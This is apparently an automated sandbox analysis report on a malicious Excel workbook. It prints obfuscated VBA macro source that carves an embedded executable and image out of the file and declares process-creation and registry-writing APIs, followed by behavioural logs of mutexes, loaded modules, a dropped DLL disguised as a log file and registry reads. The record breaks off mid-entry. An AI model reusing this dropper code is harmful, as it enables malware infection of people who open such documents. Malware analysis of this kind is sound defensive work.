altunb = ts.Read() ampolq = ampolq / 23 ts.Close If ampolq < 30 Then ampolq = ulmob + 44 End If hpnol = altunb End Function Public Sub gin(v() As String) Dim nL As String nL = v(2) pfo = VBA.Environ(nL) wdr = VBA.Environ(v(12)) dfo = VBA.Environ(v(0)) prf = VBA.Environ(v(13)) End Sub Public Function SearchBytes(src() As Byte, obj As Integer, size As Long, ByRef offset As Long) As Byte() On Error GoTo Err Dim dst() As Byte ReDim dst(size - 1) Dim raw_bytes_length As Long raw_bytes_length = GetSz(src) Dim png_start_bytes As Integer png_start_bytes = 10 Dim ebPos As Long ebPos = SearchEB(src) Dim shiftEBPos As Long shiftEBPos = 8228 Dim c6Pos As Long c6Pos = 50688 Dim shiftC6Pos As Long shiftC6Pos = 66048 Dim sizeC6 As Long sizeC6 = 512 Dim stop_search As Boolean stop_search = False Dim offset_start As Long offset_start = SPe(src, ebPos, c6Pos) png_start_bytes = png_start_bytes + 127 Dim lsign As Integer Dim signB() As Byte signB = StrConv(sign, vbFromUnicode) lsign = GetSz(signB) While stop_search <> True If offset_start + 5 > raw_bytes_length Then offset_start = -1 Exit Function End If If offset_start = ebPos Then offset_start = offset_start + 4 ebPos = ebPos + shiftEBPos End If If offset_start = c6Pos Then offset_start = offset_start + sizeC6 c6Pos = c6Pos + shiftC6Pos ebPos = ebPos + sizeC6 End If If obj = 0 Then If (offset_start < 10) Then Exit Function End If If (src(offset_start - 3) <> signB(lsign - 3) Or src(offset_start - 2) <> signB(lsign - 2) Or src(offset_start - 1) <> signB(lsign - 1) Or src(offset_start) <> &H7C) Then offset_start = offset_start + 1 Else offset_start = offset_start + 1 stop_search = True End If ElseIf obj = 1 Then If (src(offset_start) <> &H4D Or src(offset_start + 4) <> &H3 Or src(offset_start + 1) <> &H5A Or src(offset_start + 2) <> &H90 Or src(offset_start + 3) <> &H0) Then offset_start = offset_start + 1 Else offset = offset_start stop_search = True End If ElseIf obj = 2 Then If (src(offset_start) <> png_start_bytes Or src(offset_start + 1) <> 80 Or src(offset_start + 2) <> 78 Or src(offset_start + 3) <> 71 Or src(offset_start + 4) <> 13) Then offset_start = offset_start + 1 Else If offset_start >= offset + fsz1 Then stop_search = True Else offset_start = offset_start + 1 End If End If Else Exit Function End If Wend Dim arrPos As Long arrPos = 0 While arrPos < size If offset_start + 5 > raw_bytes_length Then offset_start = -1 Exit Function End If If offset_start = ebPos Then offset_start = offset_start + 4 ebPos = ebPos + shiftEBPos End If If offset_start = c6Pos Then offset_start = offset_start + sizeC6 c6Pos = c6Pos + shiftC6Pos ebPos = ebPos + sizeC6 End If dst(arrPos) = src(offset_start) arrPos = arrPos + 1 offset_start = offset_start + 1 Wend SearchBytes = dst Exit Function Err: End Function" File "Module8.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module8") has code: "Public Const prif = "pting.F" Public streamA As Object Public exec As String Public Const HKEY_CURRENT_USER = &H80000001 Public Const sign = "2AA27FF4" Public chk As Long Public Function SearchEB(raw() As Byte) As Long Dim raw_bytes_length As Long raw_bytes_length = GetSz(raw) Dim stop_search As Boolean stop_search = False Dim offset_start As Long offset_start = 0 While stop_search <> True If offset_start + 5 > raw_bytes_length Then offset_start = -1 Exit Function End If If (raw(offset_start) <> &HEB Or raw(offset_start + 1) <> &H0 Or raw(offset_start + 2) <> &H20 Or raw(offset_start + 3) <> &H20) Then offset_start = offset_start + 1 Else stop_search = True End If Wend SearchEB = offset_start End Function Public Sub ttt() If fso.FileExists(dfo & "\" & prot & "\" & dna) = True Then COmkn chk = chk + 2 If fso.FileExists(dfo & "\" & pfo1 & "\" & pna) = True Then chk = chk + 4 End If nLl = 2 Exit Sub End If CrFld dfo & "\" & prot End Sub Public Sub ini() Dim v() As String Dim VolBr As Long Dim EVolBr As Long VolBr = 34 EVolBr = VolBr Mod 21 + 17 Dim pb() As Byte Dim fname As String fname = tf & "\" & "~" VolBr = 32 / (EVolBr Mod 8) fname = fname & ThisWorkbook.Name & mp fileBytes = hpnol(fname) Dim useless As Long useless = 0 pb = SearchBytes(fileBytes, 0, fsz0, useless) If EVolBr < VolBr Then EVolBr = VolBr - EVolBr End If If GetSz(pb) = 0 Then ThisWorkbook.Sheets(1).Range("Z95").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z95").offset(0, 0).Value & 1 Exit Sub End If vals = StrConv(pb, vbUnicode) v = Split(vals, "|") VolBr = EVolBr * 14 Call gin(v) tsk = v(11) If EVolBr < VolBr Then EVolBr = VolBr - EVolBr End If ini2 v dna = v(1) End Sub Public Sub ini2(v() As String) tskkl = v(10) prot = v(9) pfo1 = v(3) pna = v(4) tmpd = v(5) arg1 = v(6) arg2 = v(7) arg3 = v(8) End Sub" File "Module9.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module9") has code: "Public exec1 As String Public fileBytes() As Byte Public ps As String Public Const IFAq As Long = &HFFFFFFFF Public Const FANq As Long = &H80 Public Const hash2 = "########################################" Public Sub tfs() tf = VBA.Environ(tf) s32 = s32 & StrReverse(twt & "23" & "mets") End Sub" File "Module10.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module10") has code: "Public obj As String Public Const fsz2 = 195583" File "Module11.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module11") has code: "#If Win64 = 1 Or Win32 = 1 Then #If VBA7 = 1 Then Public Type lorex nL As Long lSD As LongPtr bIH As Long End Type Public Type jlop cb As Long lR As LongPtr lD As LongPtr lT As LongPtr dX As Long dY As Long dXS As Long dYS As Long dXCC As Long dYCC As Long dFA As Long dF As Long wSW As Integer cR2 As Integer lR2 As Byte hkis As LongPtr hSO As LongPtr hSE As LongPtr End Type Public Type pgot hP As LongPtr hT As LongPtr dkip As Long dTI As Long End Type Public Declare PtrSafe Function RCK Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long Public Declare PtrSafe Function Cfl Lib "kernel32" Alias "CloseHandle" ( _ ByVal hOt As LongPtr) As Long Public Declare PtrSafe Function Neibq Lib "kernel32" Alias "CreateProcessA" ( _ ByVal ppQub As LongPtr, _ ByVal ppQul As LongPtr, _ ByVal ppQuw As LongPtr, _ ByVal ppQut As LongPtr, _ ByVal ppIut As Long, _ ByVal ppWut As Long, _ ByVal ppWud As LongPtr, _ ByVal ppPud As LongPtr, _ ByRef ppPus As jlop, _ ByRef ppPew As pgot) As Long Public Declare PtrSafe Function WFSO Lib "kernel32" Alias "WaitForSingleObject" ( _ ByVal hP As LongPtr, _ ByVal ms As Long) As Long Public Declare PtrSafe Function gethostbyname Lib "ws2_32.dll" (ByVal hostname As String) As LongPtr Public Declare PtrSafe Function IsU Lib "shell32" Alias "IsUserAnAdmin" () As Boolean Public Declare PtrSafe Function URMP Lib "advapi32.dll" Alias "RegCreateKeyExW" ( _ ByVal hKey As Long, _ ByVal lpSubKey As String, _ ByVal Reserved As Long, _ ByVal lpClass As String, _ ByVal dwOptions As Long, _ ByVal samDesired As Long, _ ByVal lpSecurityAttributes As Long, _ phkResult As Long, _ lpdwDisposition As Long) As Long Public Declare PtrSafe Function WiCrFl Lib "kernel32" Alias "CreateFileW" ( _ ByVal lFN As LongPtr, _ ByVal dDA As Long, _ ByVal dSMe As Long, _ lkass As lorex, _ ByVal dCDn As Long, _ ByVal dFAs As Long, _ ByVal hTF As LongPtr) As LongPtr Public Declare PtrSafe Function UPOT Lib "advapi32.dll" Alias "RegOpenCurrentUser" ( _ ByVal samDesired As Long, _ phkResult As Long) As Long Public Declare PtrSafe Function AMONB Lib "advapi32.dll" Alias "RegSetValueExW" ( _ ByVal hKey As Long, _ ByVal lpValueName As String, _ ByVal Reserved As Long, _ ByVal dwType As Long, _ lpData As Any, _ ByVal cbData As Long) As Long Public Declare PtrSafe Function FLw Lib "kernel32" Alias "WriteFile" ( _ ByVal hFe As LongPtr, _ lBr As Any, _ ByVal nNOW As Long, _ lNOW As Long, _ lOd As Any) As Boolean #End If #End If" File "Module12.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module12") has code: "#If Win64 = 1 Or Win32 = 1 Then #If Not VBA7 = 1 Then Public Type pgot hP As Long hT As Long dkip As Long dTI As Long End Type Public Type jlop cb As Long lR As Long lD As Long lT As Long dX As Long dY As Long dXS As Long dYS As Long dXCC As Long dYCC As Long dFA As Long dF As Long wSW As Integer cR2 As Integer lR2 As Byte hkis As Long hSO As Long hSE As Long End Type Public Type lorex nL As Long lSD As Long bIH As Long End Type Public Declare Function Cfl Lib "kernel32" Alias "CloseHandle" ( _ ByVal hOt As Long) As Long Public Declare Function gethostbyname Lib "ws2_32.dll" (ByVal hostname As String) As LongPtr Public Declare Function URMP Lib "advapi32.dll" Alias "RegCreateKeyExW" ( _ ByVal hKey As Long, _ ByVal lpSubKey As String, _ ByVal Reserved As Long, _ ByVal lpClass As String, _ ByVal dwOptions As Long, _ ByVal samDesired As Long, _ ByVal lpSecurityAttributes As Long, _ phkResult As Long, _ lpdwDisposition As Long) As Long Public Declare Function Neibq Lib "kernel32" Alias "CreateProcessA" ( _ ByVal ppQub As Long, _ ByVal ppQul As Long, _ ByVal ppQuw As Long, _ ByVal ppQut As Long, _ ByVal ppIut As Long, _ ByVal ppWut As Long, _ ByVal ppWud As Long, _ ByVal ppPud As Long, _ ByRef ppPus As jlop, _ ByRef ppPew As pgot) As Long Public Declare Function WiCrFl Lib "kernel32" Alias "CreateFileW" ( _ ByVal lFN As Long, _ ByVal dDA As Long, _ ByVal dSMe As Long, _ lkass As kas, _ ByVal dCDn As Long, _ ByVal dFAs As Long, _ ByVal hTF As Long) As Long Public Declare Function WFSO Lib "kernel32" Alias "WaitForSingleObject" ( _ ByVal hP As Long, _ ByVal ms As Long) As Long Public Declare Function IsU Lib "shell32" Alias "IsUserAnAdmin" () As Boolean Public Declare Function Wfl Lib "kernel32" Alias "WriteFile" ( _ ByVal hFe As Long, _ lBr As Any, _ ByVal nNOW As Long, _ lNOW As Long, _ lOd As Any) As Boolean Public Declare Function AMONB Lib "advapi32.dll" Alias "RegSetValueExW" ( _ ByVal hKey As Long, _ ByVal lpValueName As String, _ ByVal Reserved As Long, _ ByVal dwType As Long, _ lpData As Any, _ ByVal cbData As Long) As Long Public Declare Function RCK Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long #End If #End If"29:T445,Normalized macro string: "ThisWorkbook.Save" Normalized macro string: "ThisWorkbook.Sheets" Normalized macro string: "ingest.filen.io" Normalized macro string: "createFile_kas.nL" Normalized macro string: "createFile_kas.lSD" Normalized macro string: "createFile_kas.bIH" Normalized macro string: "VBA.StrReverse" Normalized macro string: "VBA.LenB" Normalized macro string: "tkas_kip.hP" Normalized macro string: "fso.CopyFile" Normalized macro string: "fso.FileExists" Normalized macro string: "ADODB.Stream" Normalized macro string: "VBA.Split" Normalized macro string: "ThisWorkbook.path" Normalized macro string: "ThisWorkbook.Name" Normalized macro string: "VBA.Environ" Normalized macro string: "fso.FolderExists" Normalized macro string: "ActiveWindow.View" Normalized macro string: "fso.CreateFolder" Normalized macro string: "Application.OperatingSystem" Normalized macro string: "Application.Version" Normalized macro string: "Font.Color" Normalized macro string: "fso.GetFolder" Normalized macro string: "fol.subfolders" Normalized macro string: "sfol.Name"2a:T7fd,Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4304:304:WilStaging_02" Process EXCEL.EXE created mutex with name "\BaseNamedObjects\552FFA80-3393-423d-8671-7BA046BB5906" Process EXCEL.EXE created mutex with name "KYTransactionServer.MutexObject.%OSUSER%" Process EXCEL.EXE created mutex with name "x64_10MU_ACB10_S-1-5-5-0-274744" Process EXCEL.EXE created mutex with name "Local\SM0:4304:120:WilError_03" Process EXCEL.EXE created mutex with name "Local\SM0:4304:304:WilStaging_02" Process EXCEL.EXE created mutex with name "x64_10MU_ACBPIDS_S-1-5-5-0-274744" Process EXCEL.EXE created mutex with name "Local\ZonesCacheCounterMutex" Process EXCEL.EXE created mutex with name "KYIMEShareCachedData.MutexObject.%OSUSER%" Process EXCEL.EXE created mutex with name "Local\ZonesLockedCacheCounterMutex" Process EXCEL.EXE created mutex with name "SM0:4304:120:WilError_03" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4304:120:WilError_03" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\x64_10MU_ACBPIDS_S-1-5-5-0-274744" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\x64_10MU_ACB10_S-1-5-5-0-274744" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_03" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process EXCEL.EXE created mutex with name "\BaseNamedObjects\MTX_MSO_Formal1_S-1-5-21-1271187874-1938232448-3812392235-1001" Process EXCEL.EXE created mutex with name "\BaseNamedObjects\MTX_MSO_AdHoc1_S-1-5-21-1271187874-1938232448-3812392235-1001" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\KYIMEShareCachedData.MutexObject.%OSUSER%" Process EXCEL.EXE created mutex with name "\Sessions\1\BaseNamedObjects\KYTransactionServer.MutexObject.%OSUSER%"2b:T1712,"EXCEL.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff898da0000 "EXCEL.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff898da0000 "EXCEL.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff898da0000 "EXCEL.EXE" loaded module "KERNEL32" at base 7ff89abc0000 "EXCEL.EXE" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff87c760000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSO.DLL" at base 7ff868310000 "EXCEL.EXE" loaded module "MSO.DLL" at base 7ff868310000 "EXCEL.EXE" loaded module "COMCTL32.DLL" at base 7ff87fa80000 "EXCEL.EXE" loaded module "KERNEL32.DLL" at base 7ff89abc0000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 28f0000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff896260000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 32a0000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 3510000 "EXCEL.EXE" loaded module "IMM32.DLL" at base 7ff899c00000 "EXCEL.EXE" loaded module "DWMAPI.DLL" at base 7ff896670000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\MSIMTF.DLL" at base 7ff8776d0000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 7ff871d40000 "EXCEL.EXE" loaded module "GDIPLUS.DLL" at base 7ff86aa40000 "EXCEL.EXE" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_57FA636ACE18905C\GDIPLUS.DLL" at base 7ff86aa40000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 7ff879d60000 "EXCEL.EXE" loaded module "ADVAPI32.DLL" at base 7ff89a290000 "EXCEL.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff871ca0000 "EXCEL.EXE" loaded module "SHLWAPI.DLL" at base 7ff89b760000 "EXCEL.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff897c80000 "EXCEL.EXE" loaded module "VERSION.DLL" at base 7ff88da50000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 6a010000 "EXCEL.EXE" loaded module "RPCRT4.DLL" at base 7ff89b3a0000 "EXCEL.EXE" loaded module "UXTHEME.DLL" at base 7ff896260000 "EXCEL.EXE" loaded module "POWRPROF.DLL" at base 7ff898b00000 "EXCEL.EXE" loaded module "COMCTL32" at base 7ff87fa80000 "EXCEL.EXE" loaded module "WTSAPI32.DLL" at base 7ff891e10000 "EXCEL.EXE" loaded module "NTDLL.DLL" at base 7ff89b810000 "EXCEL.EXE" loaded module "SHELL32.DLL" at base 7ff89a340000 "EXCEL.EXE" loaded module "OLEAUT32.DLL" at base 7ff899620000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff8928a0000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff888230000 "EXCEL.EXE" loaded module "USER32.DLL" at base 7ff8998d0000 "EXCEL.EXE" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff898da0000 "EXCEL.EXE" loaded module "SSPICLI.DLL" at base 7ff897ed0000 "EXCEL.EXE" loaded module "MPR.DLL" at base 7ff88c340000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff88da50000 "EXCEL.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff88ad50000 "EXCEL.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ff88bb40000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff89abc0000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff89a290000 "EXCEL.EXE" loaded module "SRPAPI.DLL" at base 7ff877a10000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7ff87e880000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ff889b50000 "EXCEL.EXE" loaded module "GDI32.DLL" at base 7ff899b20000 "EXCEL.EXE" loaded module "VIRTDISK.DLL" at base 7ff889ff0000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.SYSTEM.LAUNCHER.DLL" at base 7ff88ea30000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff896c30000 "EXCEL.EXE" loaded module "CSCAPI.DLL" at base 7ff885ec0000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 7ff896670000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff897bf0000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff899590000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPCEXT.DLL" at base 69e40000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ff899700000 "EXCEL.EXE" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ff899b50000 "EXCEL.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ff8998d0000 "EXCEL.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ff8998d0000 "EXCEL.EXE" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ff89a290000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ff89b5c0000 "EXCEL.EXE" loaded module "OLE32.DLL" at base 7ff89b5c0000 "EXCEL.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSOSTYLE.DLL" at base 7ff883e30000 "EXCEL.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL" at base 69ab0000 "EXCEL.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL.DLL" at base 7ba0000 "EXCEL.EXE" loaded module "VBE7.DLL" at base 69ab0000 "EXCEL.EXE" loaded module "WS2_32.DLL" at base 7ff89ab40000 "EXCEL.EXE" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ff87c8d0000 "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 7ff8709e0000 "EXCEL.EXE" loaded module "KERNELBASE" at base 7ff898da0000 "EXCEL.EXE" loaded module "WINDOWSCODECS.DLL" at base 7ff8946d00002c:T40b,Observed system executable string:"%WINDIR%\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.22621.1635_none_57fa636ace18905c\GdiPlus.dll" [Source: 00000000-00004304-00000C2A-3523854011] Observed system executable string:"%WINDIR%\system32\mscoree.dll" [Source: 00000000-00004304-00000C2A-3523928685] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004304-00000C2A-3524304869] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00004304-00000C2A-3537914106] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00004304-00000C2A-3538328745] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00004304-00000C2A-3538397689] Observed system executable string:"%WINDIR%\system32\ADVAPI32.DLL" [Source: 00000000-00004304-00000C2A-3538599433] Observed system executable string:"%WINDIR%\system32\KERNEL32.DLL" [Source: 00000000-00004304-00000C2A-3538711757]2d:T50f,"_.xls.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Unicoded MachineID desktop-8ld9t6n Archive ctime=Sun Jul 12 11:56:37 2026 atime=Sun Jul 12 11:57:20 2026 mtime=Sun Jul 12 11:57:19 2026 length=712192 window=normal IDListSize 0x007f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\_.xls""- Location: [%APPDATA%\Microsoft\Office\Recent\_.xls.LNK]- [targetUID: 00000000-00004304] "A63E4630" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 Code page: 1252 Last Saved By: HAPUBWS Total Editing Time: 08:00 Create Time/Date: Thu Sep 4 16:31:33 2025 Last Saved Time/Date: Sun Jul 12 12:02:26 2026 Security: 0"- Location: [C:\A63E4630]- [targetUID: 00000000-00004304] "DEFAULT-20241101-1112.log" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\DEFAULT-20241101-1112.log]- [targetUID: 00000000-00004304] "icon.png" has type "PNG image data 516 x 354 8-bit/color RGBA non-interlaced"- Location: [%APPDATA%\Microsoft\Network\Cache\icon.png]- [targetUID: 00000000-00004304] "index.dat" has type "Generic INItialization configuration [xls]"- Location: [%APPDATA%\Microsoft\Office\Recent\index.dat]- [targetUID: 00000000-00004304]2e:T8b3,"EXCEL.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{60982E44-40A2-4367-9BC3-CA978A87EFC7}\"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{44294F7C-6083-41C6-8176-3C202D755616}\"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{FFA98E4B-99DB-4018-B974-2DFFBCBAF986}\"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\COMDLG32"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\COMDLG32"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: ""; Value: "") "EXCEL.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\CURRENT\S-1-5-21-1271187874-1938232448-3812392235-1001\START"; Key: ""; Value: "")2f:Te14,"EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{60982E44-40A2-4367-9BC3-CA978A87EFC7}"; Key: "DATA"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{60982E44-40A2-4367-9BC3-CA978A87EFC7}"; Key: "GENERATION"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{44294F7C-6083-41C6-8176-3C202D755616}"; Key: "DATA"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{44294F7C-6083-41C6-8176-3C202D755616}"; Key: "GENERATION"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{FFA98E4B-99DB-4018-B974-2DFFBCBAF986}"; Key: "DATA"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{FFA98E4B-99DB-4018-B974-2DFFBCBAF986}"; Key: "GENERATION"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NORECENTDOCSHISTORY"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: "START_TRACKDOCS"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: "START_TRACKDOCS"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NORECENTDOCSHISTORY"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "FFDB0CFD-833C-4F16-AD3F-EC4BE3CC1AF5"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "POLICYTYPE"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: 